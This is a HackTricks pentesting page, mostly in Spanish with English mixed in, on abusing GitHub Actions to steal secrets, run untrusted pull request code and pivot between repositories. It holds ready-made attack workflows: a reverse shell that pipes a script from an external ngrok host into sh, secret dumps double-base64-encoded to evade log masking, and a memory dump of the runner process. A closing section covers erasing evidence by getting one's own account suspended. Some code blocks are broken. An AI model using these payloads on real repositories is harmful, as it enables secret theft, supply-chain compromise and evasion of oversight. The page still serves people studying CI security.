Files
hacktricks-cloud/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

29 KiB
Raw Blame History

Abusar de Github Actions

{{#include ../../../banners/hacktricks-training.md}}

Herramientas

Las siguientes herramientas son útiles para encontrar Github Action workflows e incluso encontrar ones vulnerables:

Información Básica

En esta página encontrarás:

  • Un resumen de todos los impactos de un atacante que consiga acceder a una Github Action
  • Diferentes formas de obtener acceso a una Action:
  • Tener permisos para crear la Action
  • Abusar de triggers relacionados con pull request
  • Abusar de otras técnicas de acceso externo
  • Pivotar desde un repo ya comprometido
  • Finalmente, una sección sobre técnicas de post-explotación para abusar de una Action desde dentro (causar los impactos mencionados)

Resumen de Impactos

Para una introducción sobre Github Actions revisa la información básica.

Si puedes ejecutar código arbitrario en GitHub Actions dentro de un repositorio, podrías:

  • Robar secrets montados en el pipeline y abusar de los privilegios del pipeline para obtener acceso no autorizado a plataformas externas, como AWS y GCP.
  • Comprometer despliegues y otros artefactos.
  • Si el pipeline despliega o almacena activos, podrías alterar el producto final, permitiendo un ataque a la cadena de suministro.
  • Ejecutar código en workers personalizados para abusar de potencia de cómputo y pivotar a otros sistemas.
  • Sobrescribir el código del repositorio, dependiendo de los permisos asociados con el GITHUB_TOKEN.

GITHUB_TOKEN

Este "secret" (provenido de ${{ secrets.GITHUB_TOKEN }} y ${{ github.token }}) se otorga cuando el admin habilita esta opción:

Este token es el mismo que una Github Application usará, por lo que puede acceder a los mismos endpoints: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Warning

Github debería publicar un flow que permita acceso entre repositorios dentro de GitHub, de modo que un repo pueda acceder a otros repos internos usando el GITHUB_TOKEN.

Puedes ver los posibles permisos de este token en: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Ten en cuenta que el token expira después de que el job ha finalizado.
Estos tokens se ven así: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Algunas cosas interesantes que puedes hacer con este token:

{{#tabs }} {{#tab name="Merge PR" }}

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

{{#endtab }} {{#tab name="Approve PR" }}

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

{{#endtab }} {{#tab name="Create PR" }}

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

{{#endtab }} {{#endtabs }}

Caution

Ten en cuenta que en varias ocasiones podrás encontrar github user tokens inside Github Actions envs or in the secrets. Estos tokens pueden otorgarte más privilegios sobre el repositorio y la organización.

Listar secrets en la salida de Github Action ```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
Obtener reverse shell con secrets ```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Es posible comprobar los permisos otorgados a un Github Token en repositorios de otros usuarios comprobando los logs de las actions:

Ejecución permitida

Note

Esta sería la forma más sencilla de comprometer Github actions, ya que este caso supone que tienes acceso para create a new repo in the organization, o tienes write privileges over a repository.

Si estás en este escenario puedes simplemente revisar las Post Exploitation techniques.

Ejecución desde la creación del repo

En caso de que los miembros de una organización puedan create new repos y puedas ejecutar github actions, puedes create a new repo and steal the secrets set at organization level.

Ejecución desde una nueva branch

Si puedes create a new branch in a repository that already contains a Github Action configurada, puedes modifyla, upload el contenido, y luego execute that action from the new branch. De este modo puedes exfiltrate repository and organization level secrets (pero necesitas saber cómo se llaman).

Warning

Any restriction implemented only inside workflow YAML (for example, on: push: branches: [main], job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.

Puedes hacer que la action modificada sea ejecutable manualmente, cuando se crea un PR o cuando se push some code (dependiendo de lo ruidoso que quieras ser):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

Note

Hay diferentes triggers que podrían permitir a un atacante ejecutar una Github Action de otro repositorio. Si esas actions que se pueden triggerear están mal configuradas, un atacante podría llegar a comprometerlas.

pull_request

El workflow trigger pull_request ejecutará el workflow cada vez que se reciba un pull request con algunas excepciones: por defecto si es la primera vez que estás colaborando, algún maintainer necesitará aprobar la ejecución del workflow:

Note

Como la limitación por defecto es para contribuidores por primera vez, podrías contribuir arreglando un bug/typo válido y luego enviar otros PRs para abusar de tus nuevos privilegios de pull_request.

He probado esto y no funciona: Otra opción sería crear una cuenta con el nombre de alguien que contribuyó al proyecto y eliminar su cuenta.

Además, por defecto previene permisos de escritura y acceso a secrets al repositorio objetivo como se menciona en los docs:

Con la excepción de GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository. The GITHUB_TOKEN has read-only permissions in pull requests from forked repositories.

Un atacante podría modificar la definición de la Github Action para ejecutar cosas arbitrarias y añadir acciones arbitrarias. Sin embargo, no podrá robar secrets ni sobrescribir el repo debido a las limitaciones mencionadas.

Caution

Sí, si el atacante cambia en el PR la github action que se va a ejecutar, ¡su Github Action será la que se use y no la del repo de origen!

Como el atacante también controla el código que se ejecuta, incluso si no hay secrets ni permisos de escritura en el GITHUB_TOKEN, un atacante podría por ejemplo subir artifacts maliciosos.

pull_request_target

El workflow trigger pull_request_target tiene permisos de escritura en el repositorio objetivo y acceso a secrets (y no pide aprobación).

Ten en cuenta que el workflow trigger pull_request_target se ejecuta en el contexto base y no en el del PR (para no ejecutar código no confiable). For more info about pull_request_target check the docs.
Además, para más información sobre este uso específico y peligroso revisa este github blog post.

Podría parecer que, porque el workflow ejecutado es el definido en la base y no en el PR, es seguro usar pull_request_target, pero hay algunos casos en los que no lo es.

Y este tendrá access to secrets.

workflow_run

El workflow_run trigger permite ejecutar un workflow desde otro cuando está completed, requested o in_progress.

En este ejemplo, un workflow está configurado para ejecutarse después de que el workflow separado "Run Tests" termine:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: The workflow started by the workflow_run event is able to access secrets and write tokens, even if the previous workflow was not.

This kind of workflow could be attacked if it's depending on a workflow that can be triggered by an external user via pull_request or pull_request_target. A couple of vulnerable examples can be encontrados en este blog. The first one consist on the workflow_run triggered workflow downloading out the attackers code: ${{ github.event.pull_request.head.sha }}
The second one consist on passing an artifact from the untrusted code to the workflow_run workflow and using the content of this artifact in a way that makes it vulnerable to RCE.

workflow_call

TODO

TODO: Comprobar si cuando se ejecuta desde un pull_request el código usado/descargado es el del origin o el del PR forkeado

Abuso de ejecución desde forks

Hemos mencionado todas las formas en que un atacante externo podría lograr que un workflow de github se ejecute, ahora veamos cómo estas ejecuciones, si están mal configuradas, podrían ser abusadas:

Ejecución de checkout no confiable

In the case of pull_request, the workflow is going to be executed in the context of the PR (so it'll execute the malicious PRs code), but someone needs to authorize it first and it will run with some limitations.

In case of a workflow using pull_request_target or workflow_run that depends on a workflow that can be triggered from pull_request_target or pull_request the code from the original repo will be executed, so the attacker cannot control the executed code.

Caution

However, if the action has an explicit PR checkout that will get the code from the PR (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

The potentially untrusted code is being run during npm install or npm build as the build scripts and referenced packages are controlled by the author of the PR.

Warning

A github dork to search for vulnerable actions is: event.pull_request pull_request_target extension:yml however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).

Inyecciones de scripts del contexto

Note that there are certain github contexts whose values are controlled by the user creating the PR. If the github action is using that data to execute anything, it could lead to arbitrary code execution:

{{#ref}} gh-actions-context-script-injections.md {{#endref}}

Inyección de scripts en GITHUB_ENV

From the docs: You can make an environment variable available to any subsequent steps in a workflow job by defining or updating the environment variable and writing this to the GITHUB_ENV environment file.

If an attacker could inject any value inside this env variable, he could inject env variables that could execute code in following steps such as LD_PRELOAD or NODE_OPTIONS.

For example (este and este), imagine a workflow that is trusting an uploaded artifact to store its content inside GITHUB_ENV env variable. An attacker could upload something like this to compromise it:

Dependabot y otros bots de confianza

As indicated in esta entrada del blog, several organizations have a Github Action that merges any PRR from dependabot[bot] like in:

on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m

Esto es un problema porque el campo github.actor contiene el usuario que provocó el último evento que desencadenó el workflow. Y hay varias formas de hacer que el usuario dependabot[bot] modifique un PR. Por ejemplo:

  • Fork del repositorio víctima
  • Añade la payload maliciosa a tu copia
  • Habilita Dependabot en tu fork añadiendo una dependencia desactualizada. Dependabot creará una branch arreglando la dependencia con código malicioso.
  • Abre un Pull Request al repositorio víctima desde esa branch (el PR será creado por el usuario así que aún no pasará nada)
  • Luego, el atacante vuelve al PR inicial que Dependabot abrió en su fork y ejecuta @dependabot recreate
  • Entonces, Dependabot realiza algunas acciones en esa branch, que modifican el PR en el repositorio víctima, lo que convierte a dependabot[bot] en el actor del último evento que desencadenó el workflow (y por tanto, el workflow se ejecuta).

Siguiendo, ¿qué pasaría si, en lugar de hacer merge, el Github Action tuviera una command injection como en:

on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}

Bueno, la entrada del blog original propone dos opciones para abusar de este comportamiento; la segunda es:

  • Fork the victim repository y habilita Dependabot con alguna dependencia desactualizada.
  • Create a new branch con el malicious shell injection code.
  • Change the default branch del repo a esa.
  • Create a PR desde esa branch hacia el victim repository.
  • Ejecuta @dependabot merge en el PR que Dependabot abrió en su fork.
  • Dependabot mergeará sus cambios en la default branch de tu forked repository, actualizando el PR en el victim repository, haciendo que dependabot[bot] sea ahora el actor del último evento que disparó el workflow y usando un nombre de branch malicioso.

Github Actions de terceros vulnerables

dawidd6/action-download-artifact

Como se menciona en this blog post, esta Github Action permite acceder a artifacts de diferentes workflows e incluso repositories.

El problema es que si el parámetro path no está establecido, el artifact se extrae en el directorio actual y puede sobrescribir archivos que podrían ser usados más adelante o incluso ejecutados en el workflow. Por lo tanto, si el artifact es vulnerable, un atacante podría abusar de esto para comprometer otros workflows que confían en ese artifact.

Example of vulnerable workflow:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Esto podría atacarse con este workflow:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Otros accesos externos

Deleted Namespace Repo Hijacking

Si una cuenta cambia su nombre, otro usuario podría registrar una cuenta con ese nombre pasado un tiempo. Si un repositorio tenía menos de 100 stars previously to the change of name, Github permitirá al nuevo usuario registrado con el mismo nombre crear un repository with the same name que el que se eliminó.

Caution

Por tanto, si una action está usando un repo de una cuenta inexistente, sigue siendo posible que un atacante cree esa cuenta y comprometa la action.

Si otros repositorios estaban usando dependencies from this user repos, un atacante podrá secuestrarlos. Aquí tienes una explicación más completa: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Repo Pivoting

Note

En esta sección hablaremos de técnicas que permitirían pivot from one repo to another suponiendo que tengamos algún tipo de acceso al primero (revisa la sección anterior).

Cache Poisoning

Se mantiene una caché entre wokflow runs in the same branch. Lo que significa que si un atacante compromise un package que luego se almacena en la caché y es downloaded y ejecutado por un workflow more privileged, también podrá compromise ese workflow.

{{#ref}} gh-actions-cache-poisoning.md {{#endref}}

Artifact Poisoning

Los workflows pueden usar artifacts from other workflows and even repos, si un atacante logra compromise la Github Action que uploads an artifact que luego es usada por otro workflow, podría compromise the other workflows:

{{#ref}} gh-actions-artifact-poisoning.md {{#endref}}


Post Exploitation from an Action

Github Action Policies Bypass

Como se comenta en this blog post, incluso si un repositorio u organización tiene una política que restringe el uso de ciertas actions, un atacante podría simplemente descargar (git clone) una action dentro del workflow y luego referenciarla como una local action. Como las políticas no afectan a rutas locales, the action will be executed without any restriction.

Example:

on: [push, pull_request]

jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout

- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat

- run: ls && pwd

- run: ls tmp/checkout

Accediendo a AWS, Azure y GCP vía OIDC

Consulta las siguientes páginas:

{{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}}

{{#ref}} ../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md {{#endref}}

{{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}}

Accediendo a secretos

Si estás inyectando contenido en un script, es útil saber cómo puedes acceder a los secretos:

  • Si el secreto o token está establecido en una variable de entorno, puede accederse directamente desde el entorno usando printenv.
Listar secretos en la salida de Github Action ```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Obtener reverse shell con secrets</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Si el secreto se usa directamente en una expresión, el script shell generado se almacena en disco y es accesible.

cat /home/runner/work/_temp/*

- Para JavaScript actions los secrets se envían a través de variables de entorno
- ```bash
ps axe | grep node
  • Para una custom action, el riesgo puede variar dependiendo de cómo un programa esté usando el secreto que obtuvo del argumento:
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
  • Enumera todos los secrets vía el secrets context (collaborator level). Un contributor con write access puede modificar un workflow en cualquier branch para dump todos los repository/org/environment secrets. Usa double base64 para evadir el log masking de GitHub y decodifica localmente:
name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0

Decode locally:

echo "ZXdv...Zz09" | base64 -d | base64 -d

Tip: para mayor sigilo durante las pruebas, encripta antes de imprimir (openssl está preinstalado en GitHub-hosted runners).

Abusing Self-hosted runners

La forma de encontrar qué Github Actions are being executed in non-github infrastructure es buscar runs-on: self-hosted en el YAML de configuración de Github Action.

Self-hosted runners podrían tener acceso a extra sensitive information, a otros network systems (¿vulnerable endpoints in the network? ¿metadata service?) o, incluso si está aislado y destruido, more than one action might be run at the same time y la maliciosa podría steal the secrets de la otra.

En self-hosted runners también es posible obtener los secrets from the _Runner.Listener_** process** which will contain all the secrets of the workflows at any step by dumping its memory:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Consulta esta entrada para más información.

Github Docker Images Registry

Es posible crear Github actions que construyan y almacenen una imagen Docker dentro de Github.
Un ejemplo se puede encontrar en el siguiente elemento desplegable:

Github Action Build & Push Docker Image ```yaml [...]
  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Como puedes ver en el código anterior, el registro de Github está alojado en **`ghcr.io`**.

Un usuario con permisos de lectura sobre el repo podrá entonces descargar la Docker Image usando un personal access token:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Luego, el usuario podría buscar leaked secrets in the Docker image layers:

{{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}}

Información sensible en los logs de Github Actions

Even if Github try to detect secret values in the actions logs and avoid showing them, other sensitive data that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's specifically configured.

Ocultando tus huellas

(Technique from here) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we cant delete a PR of the internet, but there is a twist. For Github accounts that are suspended by Github, all of their PRs are automatically deleted and removed from the internet. So in order to hide your activity you need to either get your GitHub account suspended or get your account flagged. This would hide all your activities on GitHub from the internet (basically remove all your exploit PR)

Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir “some stuff” en Issue y ellos se asegurarán de que tu cuenta sea suspendida en 12 hours :p y ahí lo tienes, hiciste tu exploit invisible en github.

Warning

La única forma para que una organización descubra que ha sido objetivo es revisar los logs de GitHub desde SIEM, ya que desde la GitHub UI el PR sería eliminado.

Referencias

{{#include ../../../banners/hacktricks-training.md}}